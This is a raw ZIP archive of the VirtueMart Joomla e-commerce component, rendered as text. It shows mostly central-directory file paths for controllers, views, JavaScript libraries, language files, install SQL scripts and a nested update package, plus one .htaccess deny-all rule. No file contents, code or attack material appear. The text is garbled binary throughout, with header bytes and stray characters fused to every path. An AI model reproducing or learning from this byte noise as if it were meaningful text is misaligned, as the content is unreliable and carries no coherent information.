1%IBcomponents/com_virtuemart/assets/images/vmgeneral/filetype_zip.pngPK{gD<h1components/com_virtuemart/assets/images/vmgeneral/index.htmlPK{gDW?1components/com_virtuemart/assets/images/vmgeneral/menu_icon.pngPK{gD>nI@5components/com_virtuemart/assets/images/vmgeneral/next_16x16.pngPK{gD/i50=:components/com_virtuemart/assets/images/vmgeneral/noimage.gifPK{gDrQ-;rDLcomponents/com_virtuemart/assets/images/vmgeneral/previous_16x16.pngPK{gD KYGPcomponents/com_virtuemart/assets/images/vmgeneral/quantity-controls.pngPK{gD44rFUcomponents/com_virtuemart/assets/images/vmgeneral/remove_from_cart.pngPK{gDJZcomponents/com_virtuemart/assets/images/vmgeneral/update_quantity_cart.pngPK{gDm;=X_components/com_virtuemart/assets/images/vmgeneral/warning.pngPK{gD+ bcomponents/com_virtuemart/assets/index.htmlPKhD$ibcomponents/com_virtuemart/assets/js/PK{gD ҔC<components/com_virtuemart/assets/js/i18n/jquery.ui.datepicker-hy.jsPK{gD {ՐqC>components/com_virtuemart/assets/js/i18n/jquery.ui.datepicker-id.jsPK{gD]C@components/com_virtuemart/assets/js/i18n/jquery.ui.datepicker-is.jsPK{gDCJCcomponents/com_virtuemart/assets/js/i18n/jquery.ui.datepicker-it.jsPK{gD CEcomponents/com_virtuemart/assets/js/i18n/jquery.ui.datepicker-ja.jsPK{gDx{CGcomponents/com_virtuemart/assets/js/i18n/jquery.ui.datepicker-ko.jsPK{gD6d]C Jcomponents/com_virtuemart/assets/js/i18n/jquery.ui.datepicker-kz.jsPK{gDTgCLcomponents/com_virtuemart/assets/js/i18n/jquery.ui.datepicker-lt.jsPK{gDaCDOcomponents/com_virtuemart/assets/js/i18n/jquery.ui.datepicker-lv.jsPK{gDTCQcomponents/com_virtuemart/assets/js/i18n/jquery.ui.datepicker-ml.jsPK{gD ,PzCTcomponents/com_virtuemart/assets/js/i18n/jquery.ui.datepicker-ms.jsPK{gDJrCVcomponents/com_virtuemart/assets/js/i18n/jquery.ui.datepicker-nl.jsPK{gD}CXcomponents/com_virtuemart/assets/js/i18n/jquery.ui.datepicker-no.jsPK{gD8=C2[components/com_virtuemart/assets/js/i18n/jquery.ui.datepicker-pl.jsPK{gD7<F]components/com_virtuemart/assets/js/i18n/jquery.ui.datepicker-pt-BR.jsPK{gDR C_components/com_virtuemart/assets/js/i18n/jquery.ui.datepicker-pt.jsPK{gDF Cacomponents/com_virtuemart/assets/js/i18n/jquery.ui.datepicker-rm.jsPK{gD9T$C=dcomponents/com_virtuemart/assets/js/i18n/jquery.ui.datepicker-ro.jsPK{gDhk\Cfcomponents/com_virtuemart/assets/js/i18n/jquery.ui.datepicker-ru.jsPK{gDyaCicomponents/com_virtuemart/assets/js/i18n/jquery.ui.datepicker-sk.jsPK{gDRCkcomponents/com_virtuemart/assets/js/i18n/jquery.ui.datepicker-sl.jsPK{gDrY wCKncomponents/com_virtuemart/assets/js/i18n/jquery.ui.datepicker-sq.jsPK{gDȾPFpcomponents/com_virtuemart/assets/js/i18n/jquery.ui.datepicker-sr-SR.jsPK{gDR Crcomponents/com_virtuemart/assets/js/i18n/jquery.ui.datepicker-sr.jsPK{gDQ0Cucomponents/com_virtuemart/assets/js/i18n/jquery.ui.datepicker-sv.jsPK{gD]H]Cjwcomponents/com_virtuemart/assets/js/i18n/jquery.ui.datepicker-ta.jsPK{gDHIPdC(zcomponents/com_virtuemart/assets/js/i18n/jquery.ui.datepicker-th.jsPK{gDi ,A1C|components/com_virtuemart/assets/js/i18n/jquery.ui.datepicker-tj.jsPK{gDcrCcomponents/com_virtuemart/assets/js/i18n/jquery.ui.datepicker-tr.jsPK{gD?OfbCځcomponents/com_virtuemart/assets/js/i18n/jquery.ui.datepicker-uk.jsPK{gD/FCcomponents/com_virtuemart/assets/js/i18n/jquery.ui.datepicker-vi.jsPK{gD/Fcomponents/com_virtuemart/assets/js/i18n/jquery.ui.datepicker-zh-CN.jsPK{gD{nFocomponents/com_virtuemart/assets/js/i18n/jquery.ui.datepicker-zh-HK.jsPK{gD`fFɋcomponents/com_virtuemart/assets/js/i18n/jquery.ui.datepicker-zh-TW.jsPKhD+components/com_virtuemart/assets/js/images/PK{gD5fcomponents/com_virtuemart/assets/js/images/index.htmlPK{gDK9components/com_virtuemart/assets/js/images/vtip_arrow.pngPK{gD.components/com_virtuemart/assets/js/index.htmlPK{gDn#4kcomponents/com_virtuemart/assets/js/jquery-ui.min.jsPK{gD-Wt|d1Zcomponents/com_virtuemart/assets/js/jquery.min.jsPK{gDTq#8components/com_virtuemart/assets/js/jquery.noconflict.jsPK{gDM3%'Bcomponents/com_virtuemart/assets/js/jquery.ui.autocomplete.html.jsPK{gDWcٔ9components/com_virtuemart/assets/js/jquery.ui.core.min.jsPK{gDU*?components/com_virtuemart/assets/js/jquery.ui.datepicker.min.jsPK{gD%8 components/com_virtuemart/assets/js/jquery.validation.jsPK{gDC$>components/com_virtuemart/assets/js/jquery.validationEngine.jsPKhD.8components/com_virtuemart/assets/js/languages/PK{gD89components/com_virtuemart/assets/js/languages/index.htmlPK{gDQC!KW9components/com_virtuemart/assets/js/languages/jquery.validationEngine-cz.jsPK{gD4RKAcomponents/com_virtuemart/assets/js/languages/jquery.validationEngine-da.jsPK{gDTKHcomponents/com_virtuemart/assets/js/languages/jquery.validationEngine-de.jsPK{gDG K0Pcomponents/com_virtuemart/assets/js/languages/jquery.validationEngine-en.jsPK{gD"Y=KDWcomponents/com_virtuemart/assets/js/languages/jquery.validationEngine-es.jsPK{gDѫ67|K^components/com_virtuemart/assets/js/languages/jquery.validationEngine-fr.jsPK{gD tKecomponents/com_virtuemart/assets/js/languages/jquery.validationEngine-it.jsPK{gD+.> Kkcomponents/com_virtuemart/assets/js/languages/jquery.validationEngine-ja.jsPK{gD.;3Kscomponents/com_virtuemart/assets/js/languages/jquery.validationEngine-nl.jsPK{gD^K{components/com_virtuemart/assets/js/languages/jquery.validationEngine-pl.jsPK{gDKcomponents/com_virtuemart/assets/js/languages/jquery.validationEngine-pt.jsPK{gDEtKʉcomponents/com_virtuemart/assets/js/languages/jquery.validationEngine-ro.jsPK{gDԯ̦Kcomponents/com_virtuemart/assets/js/languages/jquery.validationEngine-ru.jsPK{gD?!K components/com_virtuemart/assets/js/languages/jquery.validationEngine-tr.jsPK{gD^cWhd $3components/com_virtuemart/assets/js/vmcreditcard.jsPK{gD_:/fcomponents/com_virtuemart/assets/js/vmprices.jsPK{gD^ZZXB -vcomponents/com_virtuemart/assets/js/vmsite.jsPK{gDWCR-components/com_virtuemart/assets/js/vmtabs.jsPKhD&components/com_virtuemart/controllers/PK{gDUp@.components/com_virtuemart/controllers/cart.phpPK{gDLI 2components/com_virtuemart/controllers/category.phpPK{gD0Kcomponents/com_virtuemart/controllers/index.htmlPK{gD(/ A"1components/com_virtuemart/controllers/invoice.phpPK{gD uh06components/com_virtuemart/controllers/manufacturer.phpPK{gD𷫮0ocomponents/com_virtuemart/controllers/orders.phpPK{gDI+|d 0components/com_virtuemart/controllers/plugin.phpPK{gDE2<8components/com_virtuemart/controllers/pluginresponse.phpPK{gD=>B48components/com_virtuemart/controllers/productdetails.phpPK{gD(\/9components/com_virtuemart/controllers/state.phpPK{gD[6 +.components/com_virtuemart/controllers/user.phpPK{gD 6!0components/com_virtuemart/controllers/vendor.phpPK{gD% S-4components/com_virtuemart/controllers/virtuemart.phpPKhD"components/com_virtuemart/helpers/PK{gD7L5*components/com_virtuemart/helpers/cart.phpPK{gDE,Ocomponents/com_virtuemart/helpers/coupon.phpPK{gDEl,Wcomponents/com_virtuemart/helpers/index.htmlPK{gDdxa4cWcomponents/com_virtuemart/helpers/shopfunctionsf.phpPK{gD[87+scomponents/com_virtuemart/helpers/vmpdf.phpPK{gDe߷,components/com_virtuemart/helpers/vmview.phpPK{gD#o$,$components/com_virtuemart/index.htmlPKhD#^components/com_virtuemart/language/PKhD)components/com_virtuemart/language/en-GB/PK{gD<4"}Acomponents/com_virtuemart/language/en-GB/en-GB.com_virtuemart.iniPK{gDаNݠ Eycomponents/com_virtuemart/language/en-GB/en-GB.com_virtuemart.sef.iniPK{gD||E|components/com_virtuemart/language/en-GB/en-GB.com_virtuemart.sys.iniPK{gD7.LHcomponents/com_virtuemart/language/en-GB/en-GB.com_virtuemart_orders.iniPK{gDZ'J`components/com_virtuemart/language/en-GB/en-GB.com_virtuemart_shoppers.iniPK{gDV3components/com_virtuemart/language/en-GB/index.htmlPK{gDV-components/com_virtuemart/language/index.htmlPK{gD0 6#$xcomponents/com_virtuemart/router.phpPKhD <components/com_virtuemart/views/PKhD,zcomponents/com_virtuemart/views/askquestion/PK{gD6components/com_virtuemart/views/askquestion/index.htmlPK{gD8components/com_virtuemart/views/askquestion/metadata.xmlPKhD1 components/com_virtuemart/views/askquestion/tmpl/PK{gD*9[components/com_virtuemart/views/askquestion/tmpl/form.phpPK{gD;components/com_virtuemart/views/askquestion/tmpl/index.htmlPK{gDGOC components/com_virtuemart/views/askquestion/tmpl/mail_confirmed.phpPK{gDs= Gcomponents/com_virtuemart/views/askquestion/tmpl/mail_html_question.phpPK{gD"jpFcomponents/com_virtuemart/views/askquestion/tmpl/mail_raw_question.phpPK{gDi 9ycomponents/com_virtuemart/views/askquestion/view.html.phpPKhD%components/com_virtuemart/views/cart/PK{gD#o$,/components/com_virtuemart/views/cart/index.htmlPKhD*Lcomponents/com_virtuemart/views/cart/tmpl/PK{gDg/J @5components/com_virtuemart/views/cart/tmpl/default.phpPK{gD-Ͻk5components/com_virtuemart/views/cart/tmpl/default.xmlPK{gD0<components/com_virtuemart/views/cart/tmpl/default_coupon.phpPK{gDbv;I?"components/com_virtuemart/views/cart/tmpl/default_pricelist.phpPK{gDhZqA@#components/com_virtuemart/views/cart/tmpl/default_shopperform.phpPK{gD#o$,4(components/com_virtuemart/views/cart/tmpl/index.htmlPK{gDKi7(components/com_virtuemart/views/cart/tmpl/mini_cart.phpPK{gDx8D+components/com_virtuemart/views/cart/tmpl/order_done.phpPK{gD64v-components/com_virtuemart/views/cart/tmpl/padded.phpPK{gDҰk4V1components/com_virtuemart/views/cart/tmpl/perror.phpPK{gD ,I <x3components/com_virtuemart/views/cart/tmpl/select_payment.phpPK{gDnլ =j8components/com_virtuemart/views/cart/tmpl/select_shipment.phpPK{gD&_>q=components/com_virtuemart/views/cart/tmpl/shopper_adresses.phpPK{gDs"q=2@components/com_virtuemart/views/cart/view.html.phpPK{gDne 2Pcomponents/com_virtuemart/views/cart/view.json.phpPKhD)pUcomponents/com_virtuemart/views/category/PK{gD#o$,3Ucomponents/com_virtuemart/views/category/index.htmlPKhD.,Vcomponents/com_virtuemart/views/category/tmpl/PK{gD/GO <xVcomponents/com_virtuemart/views/category/tmpl/categories.phpPK{gDϽO19[components/com_virtuemart/views/category/tmpl/default.phpPK{gD9,jcomponents/com_virtuemart/views/category/tmpl/default.xmlPK{gD#o$,8*lcomponents/com_virtuemart/views/category/tmpl/index.htmlPK{gDZ6lcomponents/com_virtuemart/views/category/view.feed.phpPK{gD|Z%36tcomponents/com_virtuemart/views/category/view.html.phpPK{gD#o$,*׃components/com_virtuemart/views/index.htmlPKhD(Ccomponents/com_virtuemart/views/invoice/PK{gD2components/com_virtuemart/views/invoice/index.htmlPKhD-لcomponents/com_virtuemart/views/invoice/tmpl/PK{gD7$components/com_virtuemart/views/invoice/tmpl/index.htmlPK{gDB 8ycomponents/com_virtuemart/views/invoice/tmpl/invoice.phpPK{gDp53@components/com_virtuemart/views/invoice/tmpl/invoice_history.phpPK{gDШҬ(>1components/com_virtuemart/views/invoice/tmpl/invoice_items.phpPK{gDK9̨p>9components/com_virtuemart/views/invoice/tmpl/invoice_order.phpPK{gDO:components/com_virtuemart/views/invoice/tmpl/mail_html.phpPK{gDHeAcomponents/com_virtuemart/views/invoice/tmpl/mail_html_footer.phpPK{gDqO-Acomponents/com_virtuemart/views/invoice/tmpl/mail_html_header.phpPK{gDBTDcomponents/com_virtuemart/views/invoice/tmpl/mail_html_pricelist.phpPK{gD C:,L Bcomponents/com_virtuemart/views/invoice/tmpl/mail_html_shopper.phpPK{gD' 'Gcomponents/com_virtuemart/views/invoice/tmpl/mail_html_shopper_more.phpPK{gD`Kcomponents/com_virtuemart/views/invoice/tmpl/mail_html_shopperaddresses.phpPK{gDAcomponents/com_virtuemart/views/invoice/tmpl/mail_html_vendor.phpPK{gD%Fcomponents/com_virtuemart/views/invoice/tmpl/mail_html_vendor_more.phpPK{gDa9components/com_virtuemart/views/invoice/tmpl/mail_raw.phpPK{gDďk)@components/com_virtuemart/views/invoice/tmpl/mail_raw_footer.phpPK{gD&Ccomponents/com_virtuemart/views/invoice/tmpl/mail_raw_pricelist.phpPK{gD)$< Acomponents/com_virtuemart/views/invoice/tmpl/mail_raw_shopper.phpPK{gDdJcomponents/com_virtuemart/views/invoice/tmpl/mail_raw_shopperaddresses.phpPK{gDDRl]@components/com_virtuemart/views/invoice/tmpl/mail_raw_vendor.phpPK{gD:\6s25zcomponents/com_virtuemart/views/invoice/view.html.phpPKhD-@components/com_virtuemart/views/manufacturer/PK{gD7components/com_virtuemart/views/manufacturer/index.htmlPK{gD"9components/com_virtuemart/views/manufacturer/metadata.xmlPKhD2components/com_virtuemart/views/manufacturer/tmpl/PK{gD,R =!components/com_virtuemart/views/manufacturer/tmpl/default.phpPK{gDk&=;components/com_virtuemart/views/manufacturer/tmpl/default.xmlPK{gD8 =_components/com_virtuemart/views/manufacturer/tmpl/details.phpPK{gD Z:)=icomponents/com_virtuemart/views/manufacturer/tmpl/details.xmlPK{gDEl<ccomponents/com_virtuemart/views/manufacturer/tmpl/index.htmlPK{gD6 :components/com_virtuemart/views/manufacturer/view.html.phpPKhD'Ncomponents/com_virtuemart/views/orders/PK{gD1components/com_virtuemart/views/orders/index.htmlPKhD,components/com_virtuemart/views/orders/tmpl/PK{gDۆ! 7,components/com_virtuemart/views/orders/tmpl/details.phpPK{gD< R7components/com_virtuemart/views/orders/tmpl/details.xmlPK{gD[?components/com_virtuemart/views/orders/tmpl/details_history.phpPK{gDQ&=components/com_virtuemart/views/orders/tmpl/details_items.phpPK{gD5.8 =components/com_virtuemart/views/orders/tmpl/details_order.phpPK{gD"0T;lcomponents/com_virtuemart/views/orders/tmpl/details_pdf.phpPK{gD6components/com_virtuemart/views/orders/tmpl/index.htmlPK{gD HZs 4components/com_virtuemart/views/orders/tmpl/list.phpPK{gD͏4components/com_virtuemart/views/orders/tmpl/list.xmlPK{gDEpw& $4components/com_virtuemart/views/orders/view.html.phpPKhD$)components/com_virtuemart/views/pdf/PK{gDEl.W)components/com_virtuemart/views/pdf/index.htmlPK{gDod0)components/com_virtuemart/views/pdf/view.pdf.phpPK{gD|I0,components/com_virtuemart/views/pdf/view.raw.phpPKhD//components/com_virtuemart/views/pluginresponse/PK{gD9 0components/com_virtuemart/views/pluginresponse/index.htmlPK{gDʅΠ;c0components/com_virtuemart/views/pluginresponse/metadata.xmlPKhD4\1components/com_virtuemart/views/pluginresponse/tmpl/PK{gD2n=?1components/com_virtuemart/views/pluginresponse/tmpl/default.phpPK|gD>H4components/com_virtuemart/views/pluginresponse/tmpl/index.htmlPK|gD$BNh&<4components/com_virtuemart/views/pluginresponse/view.html.phpPKhD/f8components/com_virtuemart/views/productdetails/PK|gD#o$,98components/com_virtuemart/views/productdetails/index.htmlPKhD4.9components/com_virtuemart/views/productdetails/tmpl/PK|gD 1s9?9components/com_virtuemart/views/productdetails/tmpl/default.phpPK|gDK7s?PJcomponents/com_virtuemart/views/productdetails/tmpl/default.xmlPK|gD"kIJLcomponents/com_virtuemart/views/productdetails/tmpl/default_addtocart.phpPK|gDO¼RBLXTcomponents/com_virtuemart/views/productdetails/tmpl/default_customfields.phpPK|gD[# FXcomponents/com_virtuemart/views/productdetails/tmpl/default_images.phpPK|gD^e[L]components/com_virtuemart/views/productdetails/tmpl/default_manufacturer.phpPK|gDo {4CPacomponents/com_virtuemart/views/productdetails/tmpl/default_pdf.phpPK|gD@Qqcomponents/com_virtuemart/views/productdetails/tmpl/default_relatedcategories.phpPK|gDۑOtcomponents/com_virtuemart/views/productdetails/tmpl/default_relatedproducts.phpPK|gDsScm pGwcomponents/com_virtuemart/views/productdetails/tmpl/default_reviews.phpPK|gDU/ L%components/com_virtuemart/views/productdetails/tmpl/default_showcategory.phpPK|gDrzoJ:components/com_virtuemart/views/productdetails/tmpl/default_showprices.phpPK|gD#o$,>\components/com_virtuemart/views/productdetails/tmpl/index.htmlPK|gD1~ H܍components/com_virtuemart/views/productdetails/tmpl/mail_html_notify.phpPK|gDWG%components/com_virtuemart/views/productdetails/tmpl/mail_raw_notify.phpPK|gDXѿ>components/com_virtuemart/views/productdetails/tmpl/notify.phpPK|gD^1;components/com_virtuemart/views/productdetails/tmpl/pdf.phpPK|gD?k;Pcomponents/com_virtuemart/views/productdetails/tmpl/pdf.xmlPK|gD711<Ucomponents/com_virtuemart/views/productdetails/view.html.phpPKhD*components/com_virtuemart/views/recommend/PK|gD4(components/com_virtuemart/views/recommend/index.htmlPK|gDJ6zcomponents/com_virtuemart/views/recommend/metadata.xmlPKhD/hcomponents/com_virtuemart/views/recommend/tmpl/PK|gD_F7components/com_virtuemart/views/recommend/tmpl/form.phpPK|gD%n7Pcomponents/com_virtuemart/views/recommend/tmpl/form.xmlPK|gD9>components/com_virtuemart/views/recommend/tmpl/index.htmlPK|gDj_tAcomponents/com_virtuemart/views/recommend/tmpl/mail_confirmed.phpPK|gDAȘ7 <components/com_virtuemart/views/recommend/tmpl/mail_html.phpPK|gDT@/);components/com_virtuemart/views/recommend/tmpl/mail_raw.phpPK|gDQ 7components/com_virtuemart/views/recommend/view.html.phpPKhD%components/com_virtuemart/views/user/PK|gD/>components/com_virtuemart/views/user/index.htmlPKhD*components/com_virtuemart/views/user/tmpl/PK|gDTD]A2components/com_virtuemart/views/user/tmpl/edit.phpPK|gDːa2dcomponents/com_virtuemart/views/user/tmpl/edit.xmlPK|gDx{ *:ncomponents/com_virtuemart/views/user/tmpl/edit_address.phpPK|gD'wlDAcomponents/com_virtuemart/views/user/tmpl/edit_address_addshipto.phpPK|gDWEEcomponents/com_virtuemart/views/user/tmpl/edit_address_userfields.phpPK|gDU]u<zcomponents/com_virtuemart/views/user/tmpl/edit_orderlist.phpPK|gD0):Icomponents/com_virtuemart/views/user/tmpl/edit_shopper.phpPK|gD-69)components/com_virtuemart/views/user/tmpl/edit_vendor.phpPK|gD'A<[<Ucomponents/com_virtuemart/views/user/tmpl/edit_vmshopper.phpPK|gD9Uw9@ components/com_virtuemart/views/user/tmpl/editaddress.xmlPK|gD4Z components/com_virtuemart/views/user/tmpl/index.htmlPK|gDIݥ "3 components/com_virtuemart/views/user/tmpl/login.phpPK|gD ?components/com_virtuemart/views/user/tmpl/mail_html_reguser.phpPK|gD\edd A;components/com_virtuemart/views/user/tmpl/mail_html_regvendor.phpPK|gDxdg}p> components/com_virtuemart/views/user/tmpl/mail_raw_reguser.phpPK|gD;kE@$components/com_virtuemart/views/user/tmpl/mail_raw_regvendor.phpPK|gD%Z=2z(components/com_virtuemart/views/user/view.html.phpPKhD':components/com_virtuemart/views/vendor/PK|gD14;components/com_virtuemart/views/vendor/index.htmlPK|gDhj3;components/com_virtuemart/views/vendor/metadata.xmlPKhD,h<components/com_virtuemart/views/vendor/tmpl/PK|gDt=<7<components/com_virtuemart/views/vendor/tmpl/contact.phpPK|gD'<7Dcomponents/com_virtuemart/views/vendor/tmpl/contact.xmlPK|gDk 7Fcomponents/com_virtuemart/views/vendor/tmpl/default.phpPK|gDB$7GKcomponents/com_virtuemart/views/vendor/tmpl/default.xmlPK|gDJ7aLcomponents/com_virtuemart/views/vendor/tmpl/details.phpPK|gD{-2<7Ocomponents/com_virtuemart/views/vendor/tmpl/details.xmlPK|gD6Qcomponents/com_virtuemart/views/vendor/tmpl/index.htmlPK|gD5܋U>Qcomponents/com_virtuemart/views/vendor/tmpl/mail_confirmed.phpPK|gDΓ\dBTcomponents/com_virtuemart/views/vendor/tmpl/mail_html_question.phpPK|gD?۬zAXcomponents/com_virtuemart/views/vendor/tmpl/mail_raw_question.phpPK|gD!_<x3Ycomponents/com_virtuemart/views/vendor/tmpl/tos.phpPK|gD|(3\components/com_virtuemart/views/vendor/tmpl/tos.xmlPK|gD*ew,4^components/com_virtuemart/views/vendor/view.html.phpPKhD+fcomponents/com_virtuemart/views/virtuemart/PK|gD#o$,5fcomponents/com_virtuemart/views/virtuemart/index.htmlPKhD0Dgcomponents/com_virtuemart/views/virtuemart/tmpl/PK|gDpJ;gcomponents/com_virtuemart/views/virtuemart/tmpl/default.phpPK|gDYb{;jcomponents/com_virtuemart/views/virtuemart/tmpl/default.xmlPK|gDpIGFkcomponents/com_virtuemart/views/virtuemart/tmpl/default_categories.phpPK|gD!ѸcDVocomponents/com_virtuemart/views/virtuemart/tmpl/default_products.phpPK|gD#o$,:Iucomponents/com_virtuemart/views/virtuemart/tmpl/index.htmlPK|gD8<ucomponents/com_virtuemart/views/virtuemart/tmpl/off_line.phpPK|gD֪l8wcomponents/com_virtuemart/views/virtuemart/view.feed.phpPK|gD{kA8components/com_virtuemart/views/virtuemart/view.html.phpPK|gD(Rcomponents/com_virtuemart/virtuemart.phpPK|gD32/Lcomponents/com_virtuemart/virtuemart_parser.phpPKhDyinstall/PK|gDinstall/index.htmlPK|gD&'sϐinstall/install.sqlPK|gDx- i2"sinstall/install_essential_data.sqlPK|gDǞRH!install/install_required_data.sqlPK|gDZd&Z install/install_sample_data.sqlPK|gD3 b-install/script.virtuemart.phpPK|gDޛ%#*?Finstall/uninstall.sqlPK|gDM1Ginstall/uninstall_data.sqlPK|gD+s$Hinstall/uninstall_essential_data.sqlPK|gDVUv#Iinstall/uninstall_required_data.sqlPK|gD*OsJvirtuemart.xmlPKOPKtl>\) .htaccessnuW+A Order allow,deny Deny from all PKtl>\V index.htmlnuW+A PKsl>\#o,,fr-FRnuW+APKsl>\ +acom_virtuemart_update/README-VIRTUEMART.txtnuW+APKsl>\)xcom_virtuemart_update/.htaccessnuW+APKsl>\*OO$Fcom_virtuemart_update/virtuemart.xmlnuW+APKsl>\)8com_virtuemart_update/administrator/components/.htaccessnuW+APKsl>\t1Kcom_virtuemart_update/administrator/components/com_virtuemart/COPYRIGHT.phpnuW+APKsl>\b4'com_virtuemart_update/administrator/components/com_virtuemart/liveupdate/language/th-TH/index.htmlnuW+APKsl>\> 55l'com_virtuemart_update/administrator/components/com_virtuemart/liveupdate/language/th-TH/th-TH.liveupdate.ininuW+APKsl>\)a9com_virtuemart_update/administrator/components/com_virtuemart/liveupdate/language/th-TH/.htaccessnuW+APKsl>\b:com_virtuemart_update/administrator/components/com_virtuemart/liveupdate/language/da-DK/index.htmlnuW+APKsl>\kN l9;com_virtuemart_update/administrator/components/com_virtuemart/liveupdate/language/da-DK/da-DK.liveupdate.ininuW+APKsl>\)a}Hcom_virtuemart_update/administrator/components/com_virtuemart/liveupdate/language/da-DK/.htaccessnuW+APKsl>\)aIcom_virtuemart_update/administrator/components/com_virtuemart/liveupdate/language/de-DE/.htaccessnuW+APKsl>\iJJlJcom_virtuemart_update/administrator/components/com_virtuemart/liveupdate/language/de-DE/de-DE.liveupdate.ininuW+APKsl>\b[com_virtuemart_update/administrator/components/com_virtuemart/liveupdate/language/de-DE/index.htmlnuW+APKsl>\mfL L l\com_virtuemart_update/administrator/components/com_virtuemart/liveupdate/language/nb-NO/nb-NO.liveupdate.ininuW+APKsl>\)ahcom_virtuemart_update/administrator/components/com_virtuemart/liveupdate/language/nb-NO/.htaccessnuW+APKsl>\Elb jcom_virtuemart_update/administrator/components/com_virtuemart/liveupdate/language/nb-NO/index.htmlnuW+APKsl>\@2R ljcom_virtuemart_update/administrator/components/com_virtuemart/liveupdate/language/pl-PL/pl-PL.liveupdate.ininuW+APKsl>\bxcom_virtuemart_update/administrator/components/com_virtuemart/liveupdate/language/pl-PL/index.htmlnuW+APKsl>\)adycom_virtuemart_update/administrator/components/com_virtuemart/liveupdate/language/pl-PL/.htaccessnuW+APKsl>\ltzcom_virtuemart_update/administrator/components/com_virtuemart/liveupdate/language/el-GR/el-GR.liveupdate.ininuW+APKsl>\bcom_virtuemart_update/administrator/components/com_virtuemart/liveupdate/language/el-GR/index.htmlnuW+APKsl>\)aDcom_virtuemart_update/administrator/components/com_virtuemart/liveupdate/language/el-GR/.htaccessnuW+APKsl>\)aTcom_virtuemart_update/administrator/components/com_virtuemart/liveupdate/language/fr-FR/.htaccessnuW+APKsl>\bdcom_virtuemart_update/administrator/components/com_virtuemart/liveupdate/language/fr-FR/index.htmlnuW+APKsl>\?""lcom_virtuemart_update/administrator/components/com_virtuemart/liveupdate/language/fr-FR/fr-FR.liveupdate.ininuW+APKsl>\bcom_virtuemart_update/administrator/components/com_virtuemart/liveupdate/language/uk-UA/index.htmlnuW+APKsl>\COlFcom_virtuemart_update/administrator/components/com_virtuemart/liveupdate/language/uk-UA/uk-UA.liveupdate.ininuW+APKsl>\)aٸcom_virtuemart_update/administrator/components/com_virtuemart/liveupdate/language/uk-UA/.htaccessnuW+APKsl>\7OOlcom_virtuemart_update/administrator/components/com_virtuemart/liveupdate/language/en-GB/en-GB.liveupdate.ininuW+APKsl>\bcom_virtuemart_update/administrator/components/com_virtuemart/liveupdate/language/en-GB/index.htmlnuW+APKsl>\)afcom_virtuemart_update/administrator/components/com_virtuemart/liveupdate/language/en-GB/.htaccessnuW+APKsl>\)[vcom_virtuemart_update/administrator/components/com_virtuemart/liveupdate/language/.htaccessnuW+APKsl>\bcom_virtuemart_update/administrator/components/com_virtuemart/liveupdate/language/ru-RU/index.htmlnuW+APKsl>\bLDlcom_virtuemart_update/administrator/components/com_virtuemart/liveupdate/language/ru-RU/ru-RU.liveupdate.ininuW+APKsl>\)acom_virtuemart_update/administrator/components/com_virtuemart/liveupdate/language/ru-RU/.htaccessnuW+APKsl>\mfL L lcom_virtuemart_update/administrator/components/com_virtuemart/liveupdate/language/no-NO/nb-NO.liveupdate.ininuW+APKsl>\)acom_virtuemart_update/administrator/components/com_virtuemart/liveupdate/language/no-NO/.htaccessnuW+APKsl>\bcom_virtuemart_update/administrator/components/com_virtuemart/liveupdate/language/no-NO/index.htmlnuW+APKsl>\b.com_virtuemart_update/administrator/components/com_virtuemart/liveupdate/language/nl-NL/index.htmlnuW+APKsl>\)acom_virtuemart_update/administrator/components/com_virtuemart/liveupdate/language/nl-NL/.htaccessnuW+APKsl>\,-R R lcom_virtuemart_update/administrator/components/com_virtuemart/liveupdate/language/nl-NL/nl-NL.liveupdate.ininuW+APKsl>\)acom_virtuemart_update/administrator/components/com_virtuemart/liveupdate/language/it-IT/.htaccessnuW+APKsl>\VtvOOlcom_virtuemart_update/administrator/components/com_virtuemart/liveupdate/language/it-IT/it-IT.liveupdate.ininuW+APKsl>\bcom_virtuemart_update/administrator/components/com_virtuemart/liveupdate/language/it-IT/index.htmlnuW+APKsl>\\Kcom_virtuemart_update/administrator/components/com_virtuemart/liveupdate/language/index.htmlnuW+APKsl>\)acom_virtuemart_update/administrator/components/com_virtuemart/liveupdate/language/sv-SE/.htaccessnuW+APKsl>\ t lcom_virtuemart_update/administrator/components/com_virtuemart/liveupdate/language/sv-SE/sv-SE.liveupdate.ininuW+APKsl>\bcom_virtuemart_update/administrator/components/com_virtuemart/liveupdate/language/sv-SE/index.htmlnuW+APKsl>\bcom_virtuemart_update/administrator/components/com_virtuemart/liveupdate/language/tr-TR/index.htmlnuW+APKsl>\&c c l4com_virtuemart_update/administrator/components/com_virtuemart/liveupdate/language/tr-TR/tr-TR.liveupdate.ininuW+APKsl>\)a3,com_virtuemart_update/administrator/components/com_virtuemart/liveupdate/language/tr-TR/.htaccessnuW+APKsl>\ ^C-com_virtuemart_update/administrator/components/com_virtuemart/liveupdate/assets/liveupdate.cssnuW+APKsl>\^^a:com_virtuemart_update/administrator/components/com_virtuemart/liveupdate/assets/liveupdate-48.pngnuW+APKsl>\/qTYNcom_virtuemart_update/administrator/components/com_virtuemart/liveupdate/assets/ok-24.pngnuW+APKsl>\q^ Tcom_virtuemart_update/administrator/components/com_virtuemart/liveupdate/assets/current-32.pngnuW+APKsl>\)Y[com_virtuemart_update/administrator/components/com_virtuemart/liveupdate/assets/.htaccessnuW+APKsl>\2;\\[\com_virtuemart_update/administrator/components/com_virtuemart/liveupdate/assets/fail-24.pngnuW+APKsl>\vpVPP]dcom_virtuemart_update/administrator/components/com_virtuemart/liveupdate/assets/update-32.pngnuW+APKsl>\^ON[tkcom_virtuemart_update/administrator/components/com_virtuemart/liveupdate/assets/warn-24.pngnuW+APKsl>\Zpcom_virtuemart_update/administrator/components/com_virtuemart/liveupdate/assets/index.htmlnuW+APKsl>\. `%qcom_virtuemart_update/administrator/components/com_virtuemart/liveupdate/assets/nosupport-32.pngnuW+APKsl>\/^88W]|com_virtuemart_update/administrator/components/com_virtuemart/liveupdate/liveupdate.phpnuW+APKsl>\$_ T~com_virtuemart_update/administrator/components/com_virtuemart/liveupdate/LICENSE.txtnuW+APKsl>\)R-com_virtuemart_update/administrator/components/com_virtuemart/liveupdate/.htaccessnuW+APKsl>\S.com_virtuemart_update/administrator/components/com_virtuemart/liveupdate/index.htmlnuW+APKsl>\_1_ 